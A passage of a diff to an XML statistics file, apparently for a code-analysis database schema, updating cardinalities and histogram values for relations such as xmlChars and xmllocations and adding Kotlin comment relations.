+                                    <b>32</b>
+                                    <v>133620</v>
+                                </b>
+                                <b>
+                                    <a>32</a>
+                                    <b>61</b>
+                                    <v>129530</v>
+                                </b>
+                                <b>
+                                    <a>61</a>
+                                    <b>75</b>
+                                    <v>132257</v>
+                                </b>
+                                <b>
+                                    <a>75</a>
+                                    <b>84</b>
+                                    <v>148619</v>
+                                </b>
+                                <b>
+                                    <a>84</a>
+                                    <b>90</b>
+                                    <v>122713</v>
+                                </b>
+                                <b>
+                                    <a>90</a>
+                                    <b>94</b>
+                                    <v>119986</v>
+                                </b>
+                                <b>
+                                    <a>94</a>
+                                    <b>95</b>
+                                    <v>66810</v>
+                                </b>
+                                <b>
+                                    <a>95</a>
+                                    <b>96</b>
+                                    <v>103624</v>
+                                </b>
+                                <b>
+                                    <a>96</a>
+                                    <b>98</b>
+                                    <v>143165</v>
+                                </b>
+                                <b>
+                                    <a>98</a>
+                                    <b>100</b>
+                                    <v>134984</v>
+                                </b>
+                                <b>
+                                    <a>100</a>
+                                    <b>460</b>
+                                    <v>79081</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>parentid</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>669468</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>724</b>
+                                    <v>64083</v>
+                                </b>
+                                <b>
+                                    <a>726</a>
+                                    <b>830</b>
+                                    <v>77718</v>
+                                </b>
+                                <b>
+                                    <a>831</a>
+                                    <b>941</b>
+                                    <v>29996</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>parentid</src>
+                    <trg>text</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>669468</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>697</b>
+                                    <v>64083</v>
+                                </b>
+                                <b>
+                                    <a>697</a>
+                                    <b>795</b>
+                                    <v>34086</v>
+                                </b>
+                                <b>
+                                    <a>795</a>
+                                    <b>827</b>
+                                    <v>64083</v>
+                                </b>
+                                <b>
+                                    <a>838</a>
+                                    <b>899</b>
+                                    <v>9544</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>parentid</src>
+                    <trg>fileid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>841266</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>fileid</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>601294</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>549</b>
+                                    <v>59993</v>
+                                </b>
+                                <b>
+                                    <a>579</a>
+                                    <b>829</b>
+                                    <v>40904</v>
+                                </b>
+                                <b>
+                                    <a>829</a>
+                                    <b>832</b>
+                                    <v>65446</v>
+                                </b>
+                                <b>
+                                    <a>834</a>
+                                    <b>941</b>
+                                    <v>19088</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>fileid</src>
+                    <trg>text</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>601294</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>536</b>
+                                    <v>59993</v>
+                                </b>
+                                <b>
+                                    <a>560</a>
+                                    <b>795</b>
+                                    <v>51812</v>
+                                </b>
+                                <b>
+                                    <a>795</a>
+                                    <b>812</b>
+                                    <v>59993</v>
+                                </b>
+                                <b>
+                                    <a>819</a>
+                                    <b>899</b>
+                                    <v>13634</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>fileid</src>
+                    <trg>parentid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>747186</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>6</b>
+                                    <v>39540</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22691,31 +24177,31 @@
         </relation>
         <relation>
             <name>xmlChars</name>
-            <cardinality>811651</cardinality>
+            <cardinality>101461901</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>811651</v>
+                    <v>101461901</v>
                 </e>
                 <e>
                     <k>text</k>
-                    <v>613576</v>
+                    <v>77920078</v>
                 </e>
                 <e>
                     <k>parentid</k>
-                    <v>640897</v>
+                    <v>101461901</v>
                 </e>
                 <e>
                     <k>idx</k>
-                    <v>7399</v>
+                    <v>1363</v>
                 </e>
                 <e>
                     <k>isCDATA</k>
-                    <v>569</v>
+                    <v>2726</v>
                 </e>
                 <e>
                     <k>fileid</k>
-                    <v>10245</v>
+                    <v>177252</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22729,7 +24215,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>811651</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22745,7 +24231,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>811651</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22761,7 +24247,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>811651</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22777,7 +24263,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>811651</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22793,7 +24279,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>811651</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22809,17 +24295,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>541859</v>
+                                    <v>66672743</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>4</b>
-                                    <v>49518</v>
+                                    <b>3</b>
+                                    <v>7002826</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>45</b>
-                                    <v>22198</v>
+                                    <a>3</a>
+                                    <b>128</b>
+                                    <v>4244509</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22835,17 +24321,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>541859</v>
+                                    <v>66672743</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>4</b>
-                                    <v>50087</v>
+                                    <b>3</b>
+                                    <v>7002826</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>45</b>
-                                    <v>21628</v>
+                                    <a>3</a>
+                                    <b>128</b>
+                                    <v>4244509</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22861,12 +24347,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>607884</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>5</b>
-                                    <v>5691</v>
+                                    <v>77920078</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22882,7 +24363,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>613576</v>
+                                    <v>77920078</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22898,12 +24379,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>593655</v>
+                                    <v>74553649</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>10</b>
-                                    <v>19921</v>
+                                    <b>76</b>
+                                    <v>3366428</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22919,17 +24400,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>550397</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>54072</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>14</b>
-                                    <v>36427</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22945,17 +24416,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>550397</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>54072</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>12</b>
-                                    <v>36427</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22971,17 +24432,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>550397</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>54072</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>14</b>
-                                    <v>36427</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22997,7 +24448,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>640897</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23013,7 +24464,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>640897</v>
+                                    <v>101461901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23027,49 +24478,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>2845</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>8</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>10</a>
-                                    <b>11</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>21</a>
-                                    <b>22</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>31</a>
-                                    <b>32</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>64</a>
-                                    <b>65</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>159</a>
-                                    <b>160</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>1126</a>
-                                    <b>1127</b>
-                                    <v>569</v>
+                                    <a>74414</a>
+                                    <b>74415</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23083,49 +24494,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>2845</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>8</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>10</a>
-                                    <b>11</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>19</a>
-                                    <b>20</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>30</a>
-                                    <b>31</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>59</a>
-                                    <b>60</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>145</a>
-                                    <b>146</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>816</a>
-                                    <b>817</b>
-                                    <v>569</v>
+                                    <a>57148</a>
+                                    <b>57149</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23139,49 +24510,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>2845</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>8</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>10</a>
-                                    <b>11</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>21</a>
-                                    <b>22</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>31</a>
-                                    <b>32</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>64</a>
-                                    <b>65</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>159</a>
-                                    <b>160</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>1126</a>
-                                    <b>1127</b>
-                                    <v>569</v>
+                                    <a>74414</a>
+                                    <b>74415</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23195,9 +24526,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>7399</v>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23211,39 +24542,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>3415</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>1138</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>7</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>9</a>
-                                    <b>10</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>12</a>
-                                    <b>13</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>18</a>
-                                    <b>19</b>
-                                    <v>569</v>
+                                    <a>130</a>
+                                    <b>131</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23257,9 +24558,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1426</a>
-                                    <b>1427</b>
-                                    <v>569</v>
+                                    <a>518</a>
+                                    <b>519</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>73896</a>
+                                    <b>73897</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23273,9 +24579,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1078</a>
-                                    <b>1079</b>
-                                    <v>569</v>
+                                    <a>492</a>
+                                    <b>493</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>56656</a>
+                                    <b>56657</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23289,9 +24600,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1126</a>
-                                    <b>1127</b>
-                                    <v>569</v>
+                                    <a>518</a>
+                                    <b>519</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>73896</a>
+                                    <b>73897</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23305,9 +24621,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>13</a>
-                                    <b>14</b>
-                                    <v>569</v>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>2726</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23321,9 +24637,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>18</a>
-                                    <b>19</b>
-                                    <v>569</v>
+                                    <a>98</a>
+                                    <b>99</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>130</a>
+                                    <b>131</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23339,92 +24660,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>569</v>
+                                    <v>14998</v>
                                 </b>
                                 <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>569</v>
+                                    <a>2</a>
+                                    <b>23</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>569</v>
+                                    <a>24</a>
+                                    <b>243</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>569</v>
+                                    <a>294</a>
+                                    <b>566</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>9</a>
-                                    <b>10</b>
-                                    <v>569</v>
+                                    <a>610</a>
+                                    <b>686</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
-                                    <b>12</b>
-                                    <v>569</v>
+                                    <a>691</a>
+                                    <b>764</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>19</a>
-                                    <b>20</b>
-                                    <v>569</v>
+                                    <a>765</a>
+                                    <b>775</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>21</a>
-                                    <b>22</b>
-                                    <v>569</v>
+                                    <a>775</a>
+                                    <b>776</b>
+                                    <v>4090</v>
                                 </b>
                                 <b>
-                                    <a>30</a>
-                                    <b>31</b>
-                                    <v>569</v>
+                                    <a>776</a>
+                                    <b>777</b>
+                                    <v>49085</v>
                                 </b>
                                 <b>
-                                    <a>34</a>
-                                    <b>35</b>
-                                    <v>569</v>
+                                    <a>777</a>
+                                    <b>803</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>35</a>
-                                    <b>36</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>42</a>
-                                    <b>43</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>50</a>
-                                    <b>51</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>85</a>
-                                    <b>86</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>163</a>
-                                    <b>164</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>218</a>
-                                    <b>219</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>224</a>
-                                    <b>225</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>472</a>
-                                    <b>473</b>
-                                    <v>569</v>
+                                    <a>807</a>
+                                    <b>888</b>
+                                    <v>13634</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23440,92 +24726,67 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>569</v>
+                                    <v>14998</v>
                                 </b>
                                 <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>569</v>
+                                    <a>2</a>
+                                    <b>21</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>569</v>
+                                    <a>22</a>
+                                    <b>188</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>569</v>
+                                    <a>208</a>
+                                    <b>492</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>9</a>
-                                    <b>10</b>
-                                    <v>569</v>
+                                    <a>525</a>
+                                    <b>589</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
-                                    <b>12</b>
-                                    <v>569</v>
+                                    <a>590</a>
+                                    <b>638</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>18</a>
-                                    <b>19</b>
-                                    <v>569</v>
+                                    <a>639</a>
+                                    <b>651</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>21</a>
-                                    <b>22</b>
-                                    <v>569</v>
+                                    <a>652</a>
+                                    <b>656</b>
+                                    <v>12271</v>
                                 </b>
                                 <b>
-                                    <a>27</a>
-                                    <b>28</b>
-                                    <v>569</v>
+                                    <a>656</a>
+                                    <b>659</b>
+                                    <v>16361</v>
                                 </b>
                                 <b>
-                                    <a>33</a>
-                                    <b>34</b>
-                                    <v>569</v>
+                                    <a>659</a>
+                                    <b>663</b>
+                                    <v>14998</v>
                                 </b>
                                 <b>
-                                    <a>35</a>
-                                    <b>36</b>
-                                    <v>569</v>
+                                    <a>663</a>
+                                    <b>667</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>36</a>
-                                    <b>37</b>
-                                    <v>569</v>
+                                    <a>667</a>
+                                    <b>701</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>43</a>
-                                    <b>44</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>49</a>
-                                    <b>50</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>142</a>
-                                    <b>143</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>170</a>
-                                    <b>171</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>177</a>
-                                    <b>178</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>345</a>
-                                    <b>346</b>
-                                    <v>569</v>
+                                    <a>702</a>
+                                    <b>744</b>
+                                    <v>9544</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23541,87 +24802,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>569</v>
+                                    <v>14998</v>
                                 </b>
                                 <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>1138</v>
+                                    <a>2</a>
+                                    <b>23</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>569</v>
+                                    <a>24</a>
+                                    <b>243</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>8</a>
-                                    <b>9</b>
-                                    <v>569</v>
+                                    <a>294</a>
+                                    <b>566</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
-                                    <b>12</b>
-                                    <v>569</v>
+                                    <a>610</a>
+                                    <b>686</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>19</a>
-                                    <b>20</b>
-                                    <v>569</v>
+                                    <a>691</a>
+                                    <b>764</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>21</a>
-                                    <b>22</b>
-                                    <v>569</v>
+                                    <a>765</a>
+                                    <b>775</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>23</a>
-                                    <b>24</b>
-                                    <v>569</v>
+                                    <a>775</a>
+                                    <b>776</b>
+                                    <v>4090</v>
                                 </b>
                                 <b>
-                                    <a>27</a>
-                                    <b>28</b>
-                                    <v>569</v>
+                                    <a>776</a>
+                                    <b>777</b>
+                                    <v>49085</v>
                                 </b>
                                 <b>
-                                    <a>31</a>
-                                    <b>32</b>
-                                    <v>569</v>
+                                    <a>777</a>
+                                    <b>803</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>32</a>
-                                    <b>33</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>40</a>
-                                    <b>41</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>76</a>
-                                    <b>77</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>131</a>
-                                    <b>132</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>155</a>
-                                    <b>156</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>224</a>
-                                    <b>225</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>317</a>
-                                    <b>318</b>
-                                    <v>569</v>
+                                    <a>807</a>
+                                    <b>888</b>
+                                    <v>13634</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23637,37 +24868,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3415</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>1707</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>1707</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>1707</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>8</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>13</a>
-                                    <b>14</b>
-                                    <v>569</v>
+                                    <v>177252</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23683,7 +24884,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>10245</v>
+                                    <v>43631</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>133620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23693,15 +24899,15 @@
         </relation>
         <relation>
             <name>xmllocations</name>
-            <cardinality>2782724</cardinality>
+            <cardinality>447346440</cardinality>
             <columnsizes>
                 <e>
                     <k>xmlElement</k>
-                    <v>2781016</v>
+                    <v>446068861</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>2377467</v>
+                    <v>419190606</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -23715,12 +24921,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2780447</v>
+                                    <v>446060680</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>569</v>
+                                    <a>2</a>
+                                    <b>454</b>
+                                    <v>8180</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23736,17 +24942,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2139549</v>
+                                    <v>409688523</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>4</b>
-                                    <v>215719</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>11</b>
-                                    <v>22198</v>
+                                    <b>25</b>
+                                    <v>9502082</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23985,5 +25186,1106 @@
                 </dep>
             </dependencies>
         </relation>
+        <relation>
+            <name>ktComments</name>
+            <cardinality>133620</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>133620</v>
+                </e>
+                <e>
+                    <k>kind</k>
+                    <v>4090</v>
+                </e>
+                <e>
+                    <k>text</k>
+                    <v>96806</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>kind</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>133620</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>id</src>
+                    <trg>text</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>133620</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kind</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>16</a>
+                                    <b>17</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>22</a>
+                                    <b>23</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>60</a>
+                                    <b>61</b>
+                                    <v>1363</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>kind</src>
+                    <trg>text</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>16</a>
+                                    <b>17</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>54</a>
+                                    <b>55</b>
+                                    <v>1363</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>text</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>92716</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>23</b>
+                                    <v>4090</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>text</src>
+                    <trg>kind</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>96806</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ktCommentSections</name>
+            <cardinality>59545</cardinality>
+            <columnsizes>
+                <e>
+                    <k>id</k>
+                    <v>59545</v>
+                </e>
+                <e>
+                    <k>comment</k>
+                    <v>54462</v>
+                </e>
+                <e>
+                    <k>content</k>
+                    <v>50556</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>id</src>
+                    <trg>comment</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>59545</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>id</src>
+                    <trg>content</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>59545</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>comment</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
